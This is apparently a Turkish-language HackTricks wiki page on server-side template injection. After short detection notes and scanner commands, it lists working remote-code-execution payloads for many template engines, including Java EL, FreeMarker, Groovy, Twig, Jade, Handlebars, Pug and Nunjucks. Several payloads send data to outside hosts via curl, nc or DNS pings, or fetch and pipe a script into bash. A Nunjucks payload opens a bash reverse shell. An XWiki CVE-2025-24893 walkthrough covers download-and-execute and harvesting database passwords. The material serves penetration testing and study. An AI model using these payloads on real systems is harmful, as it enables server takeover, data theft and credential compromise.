SSTI (Server Side Template Injection)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
SSTI (Server-Side Template Injection) nedir
Server-side template injection, bir saldırganın sunucuda çalıştırılan bir şablona kötü amaçlı kod enjekte edebilmesi durumunda ortaya çıkan bir güvenlik açığıdır. Bu güvenlik açığı, Jinja dahil olmak üzere çeşitli teknolojilerde bulunabilir.
Jinja, web uygulamalarında kullanılan popüler bir şablon motorudur. Jinja kullanan güvenlik açığı içeren bir kod parçasını gösteren bir örneği inceleyelim:
output = template.render(name=request.args.get('name'))
Bu savunmasız kodda, kullanıcının isteğinden gelen name parametresi render fonksiyonu kullanılarak doğrudan template’e geçirilir. Bu, potansiyel olarak bir saldırganın name parametresine zararlı kod enjekte etmesine ve server-side template injection’a yol açmasına izin verebilir.
Örneğin, bir saldırgan şu şekilde bir payload içeren bir istek oluşturabilir:
http://vulnerable-website.com/?name={{bad-stuff-here}}
The payload {{bad-stuff-here}} is injected into the name parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.
Sunucu tarafı template injection açıklarını önlemek için geliştiriciler, kullanıcı girdilerinin şablonlara yerleştirilmeden önce düzgün şekilde temizlenip doğrulandığından emin olmalıdır. Input validation uygulamak ve bağlama duyarlı kaçış (context-aware escaping) teknikleri kullanmak bu açığın riskini azaltmaya yardımcı olur.
Detection
To detect Server-Side Template Injection (SSTI), initially, fuzzing the template is a straightforward approach. This involves injecting a sequence of special characters (${{<%[%'"}}%\) into the template and analyzing the differences in the server’s response to regular data versus this special payload. Vulnerability indicators include:
- Thrown errors, revealing the vulnerability and potentially the template engine.
- Absence of the payload in the reflection, or parts of it missing, implying the server processes it differently than regular data.
- Plaintext Context: Distinguish from XSS by checking if the server evaluates template expressions (e.g.,
{{7*7}},${7*7}). - Code Context: Confirm vulnerability by altering input parameters. For instance, changing
greetinginhttp://vulnerable-website.com/?greeting=data.usernameto see if the server’s output is dynamic or fixed, like ingreeting=data.username}}helloreturning the username.
Identification Phase
Template engine’i belirlemek, hata mesajlarını analiz etmeyi veya çeşitli dil-spesifik payload’ları manuel olarak test etmeyi içerir. Hata veren yaygın payload’lar ${7/0}, {{7/0}}, ve <%= 7/0 %>’dür. Sunucunun matematiksel işlemlere verdiği yanıtı gözlemlemek, hangi template engine’in kullanıldığını tespit etmeye yardımcı olur.
Identification by payloads
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg
- Daha fazla bilgi: https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Tools
TInjA
yeni polyglot’ları kullanan verimli bir SSTI + CSTI tarayıcısı
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Template Injection Table
En etkili template injection polyglot’larını ve 44 en önemli template engines için beklenen yanıtları içeren etkileşimli bir tablo.
Exploits
Genel
Bu wordlist içinde aşağıda bahsedilen bazı engine’lerin ortamlarında tanımlı değişkenleri bulabilirsiniz:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Basic injection
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Sistem ortam değişkenlerini al
${T(java.lang.System).getenv()}
Java - /etc/passwd’i Elde Et
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Payloads’ınızı şu adreste deneyebilirsiniz: https://try.freemarker.apache.org
{{7*7}} = {{7*7}}${7*7} = 49#{7*7} = 49 -- (legacy)${7*'7'} Nothing${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox bypass
⚠️ yalnızca Freemarker 2.3.30’dan düşük sürümlerinde çalışır
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Daha fazla bilgi
- FreeMarker bölümünde: https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Daha fazla bilgi
- Velocity bölümünde https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
Thymeleaf’te SSTI açıklıklarını test etmek için yaygın bir yöntem ${7*7} ifadesidir; bu ifade bu template engine için de geçerlidir. Olası remote code execution için aşağıdaki gibi ifadeler kullanılabilir:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf bu ifadelerin belirli attribute’ler içinde kullanılmasını gerektirir. Ancak, expression inlining diğer şablon konumları için de desteklenir; [[...]] veya [(...)] gibi sözdizimi kullanılır. Bu nedenle, basit bir SSTI test payload’u şöyle görünebilir: [[${7*7}]].
Ancak, bu payload’un çalışması genellikle düşük ihtimallidir. Thymeleaf’in varsayılan yapılandırması dinamik şablon üretimini desteklemez; şablonlar önceden tanımlanmış olmalıdır. Geliştiricilerin, stringlerden şablonları anlık olarak oluşturmak için kendi TemplateResolver’larını uygulamaları gerekir ki bu yaygın değildir.
Thymeleaf ayrıca expression preprocessing, yani çift alt çizgi içinde (__...__) bulunan ifadelerin ön işlemden geçirilmesi özelliğini sunar. Bu özellik, ifadelerin oluşturulmasında kullanılabilir; Thymeleaf dokümantasyonunda gösterildiği gibi:
#{selection.__${sel.code}__}
Thymeleaf’te Güvenlik Açığı Örneği
Aşağıdaki kod parçacığı istismara açık olabilir:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Bu, template engine bu girdileri hatalı şekilde işlerse, aşağıdaki gibi URL’lere erişim yoluyla remote code execution meydana gelebileceğini gösterir:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Daha fazla bilgi
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Filtreleri atlatma
Birden fazla değişken ifadesi kullanılabilir. ${...} çalışmıyorsa #{...}, *{...}, @{...} veya ~{...}’yi deneyin.
/etc/passwddosyasını oku
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Custom Script ile payload oluşturma
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Daha Fazla Bilgi
Spring View Manipulation (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
Pebble (Java)
{{ someString.toUPPERCASE() }}
Pebble’ın eski sürümü ( < 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Pebble’in yeni sürümü :
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava, Hubspot tarafından geliştirilen açık kaynak bir projedir, şu adreste mevcut: https://github.com/HubSpot/jinjava/
Jinjava - Command execution
Düzeltildi: https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Daha fazla bilgi
Hubspot - HuBL (Java)
{% %}statement delimiters{{ }}expression delimiters{# #}comment delimiters{{ request }}- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}- “A”{{'a'.concat('b')}}- “ab”{{'a'.getClass()}}- java.lang.String{{request.getClass()}}- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
com.hubspot.content.hubl.context.TemplateContextRequest için arama yapıldığında Jinjava project on Github bulundu.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Daha fazla bilgi
Expression Language - EL (Java)
${"aaaa"}- “aaaa”${99999+1}- 100000.#{7*7}- 49${{7*7}}- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL), JavaEE’de sunum katmanı (ör. web sayfaları) ile uygulama mantığı (ör. managed bean’ler) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi kolaylaştırmak için birçok JavaEE teknolojisinde yaygın şekilde kullanılır. EL kullanan başlıca JavaEE teknolojileri şunlardır:
- JavaServer Faces (JSF): JSF sayfalarında bileşenleri ilgili backend verilerine ve işlemlere bağlamak için EL kullanır.
- JavaServer Pages (JSP): JSP sayfalarında veriye erişmek ve veriyi işlemek için EL kullanılır; sayfa öğelerini uygulama verilerine bağlamayı kolaylaştırır.
- Contexts and Dependency Injection for Java EE (CDI): EL, web katmanı ile managed bean’ler arasında sorunsuz etkileşim sağlamak için CDI ile entegre olur ve daha tutarlı bir uygulama yapısı sağlar.
Aşağıdaki sayfayı inceleyerek EL yorumlayıcılarının exploitation of EL interpreters hakkında daha fazla bilgi edinebilirsiniz:
Groovy (Java)
Aşağıdaki Security Manager bypass’ları bu writeup’tan alınmıştır.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
XWiki SolrSearch Groovy RCE (CVE-2025-24893)
XWiki ≤ 15.10.10 (15.10.11 / 16.4.1 / 16.5.0RC1’de düzeltildi) kimlik doğrulaması gerektirmeyen RSS arama beslemelerini Main.SolrSearch makrosu aracılığıyla render eder. Handler text sorgu parametresini alır, wiki sözdizimine sarar ve makroları değerlendirir; bu yüzden }}} ardından {{groovy}} enjekte etmek JVM’de rasgele Groovy kodu çalıştırır.
- Parmak izi & kapsam – XWiki host-tabanlı yönlendirme arkasında reverse-proxy yapıldığında, wiki vhost’unu keşfetmek için
Hostbaşlığını fuzz edin (ffuf -u http://<ip> -H "Host: FUZZ.target" ...), sonra/xwiki/bin/view/Main/’i gezip footer’ı (XWiki Debian 15.10.8) okuyarak savunmasız build’i belirleyin. - Trigger SSTI – İstek yapın
/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. RSS öğesinin<title>kısmı Groovy çıktısını içerecektir. Her zaman “tüm karakterleri URL-encode edin” ki boşluklar%20kalsın; bunları+ile değiştirmek XWiki’in HTTP 500 vermesine neden olur. - Run OS commands – Groovy gövdesini
{{groovy}}println("id".execute().text){{/groovy}}ile değiştirin.String.execute()komutu doğrudanexecve()ile başlattığından, shell metakarakterleri (|,>,&) yorumlanmaz. Bunun yerine download-and-execute deseni kullanın:
"curl http://ATTACKER/rev -o /dev/shm/rev".execute().text"bash /dev/shm/rev".execute().text(script ters bağlantı mantığını içerir).
- Post exploitation – XWiki veritabanı kimlik bilgilerini
/etc/xwiki/hibernate.cfg.xmliçinde saklar;hibernate.connection.password’ı leak etmek gerçek sistem parolalarını verir ve SSH üzerinden yeniden kullanılabilir. Servis unit’iNoNewPrivileges=trueolarak ayarlanmışsa,/bin/sugibi araçlar geçerli parolalarla bile ek ayrıcalık kazanamaz; bu yüzden yerel SUID ikili dosyalarına güvenmek yerine SSH ile pivot yapın.
Aynı payload /xwiki/bin/get/Main/SolrSearch üzerinde de çalışır ve Groovy stdout her zaman RSS title içine gömülü olur, bu yüzden komutların enumeration’ını script’lemek kolaydır.
Diğer Java
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg
- Daha fazla bilgi: https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Daha fazla bilgi
- https://portswigger.net/research/server-side-template-injection adresindeki Smarty bölümü
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49${7*7} = ${7*7}{{7*'7'}} = 49{{1/0}} = Error{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Şablon formatı
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Daha fazla bilgi
- Twig ve Twig (Sandboxed) bölümünde https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates, PHP’ye özgü bir şablon motorudur ve Twig’ten ilham alır. Ancak Twig’in yeni bir sözdizimi getirmesinin aksine, Plates şablonlarda yerel PHP kodunu kullanır; bu da PHP geliştiricileri için sezgisel olmasını sağlar.
Denetleyici:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Sayfa şablonu:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Yerleşim şablonu:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Daha fazla bilgi
PHPlib ve HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB PHPlib ile aynıdır ancak Pear’e port edilmiştir.
authors.tpl
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Daha fazla bilgi
Diğer PHP
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg
- Daha fazla bilgi: https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Daha fazla bilgi
- Jade bölümünde https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade–codepen
patTemplate (PHP)
patTemplate derlenmeyen bir PHP şablon motorudur; XML etiketlerini kullanarak bir belgeyi farklı parçalara böler.
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Daha fazla bilgi
Handlebars (NodeJS)
Path Traversal (daha fazla bilgi here).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Hata
- ${7*7} = ${7*7}
- Hiçbir şey
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Daha fazla bilgi
JsRender (NodeJS)
| Şablon | Açıklama |
|---|---|
| Çıktıyı değerlendirir ve render eder | |
| HTML encode edilmiş çıktıyı değerlendirip render eder | |
| Yorum | |
| ve | Koda izin ver (varsayılan olarak devre dışı) |
- = 49
İstemci Tarafı
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Sunucu Tarafı
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Daha fazla bilgi
PugJs (NodeJS)
#{7*7} = 49#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Sunucu tarafı render örneği
var pugjs = require("pug")
home = pugjs.render(injected_page)
Daha fazla bilgi
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Çıktı yok
- #{7*7} = #{7*7}
- {{console.log(1)}} = Hata
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}
Daha fazla bilgi
NodeJS ifade sandbox’ları (vm2 / isolated-vm)
Bazı workflow builder’lar, kullanıcı tarafından kontrol edilen ifadeleri Node sandbox’ları (vm2, isolated-vm) içinde değerlendirir; ancak ifade bağlamı hâlâ this.process.mainModule.require’ü açığa çıkarır. Bu, bir saldırganın child_process’ı yüklemesine ve dedicated “Execute Command” nodes devre dışı bırakılmış olsa bile OS komutları çalıştırmasına izin verir:
={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
Diğer NodeJS
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg
 (1) (1).png)
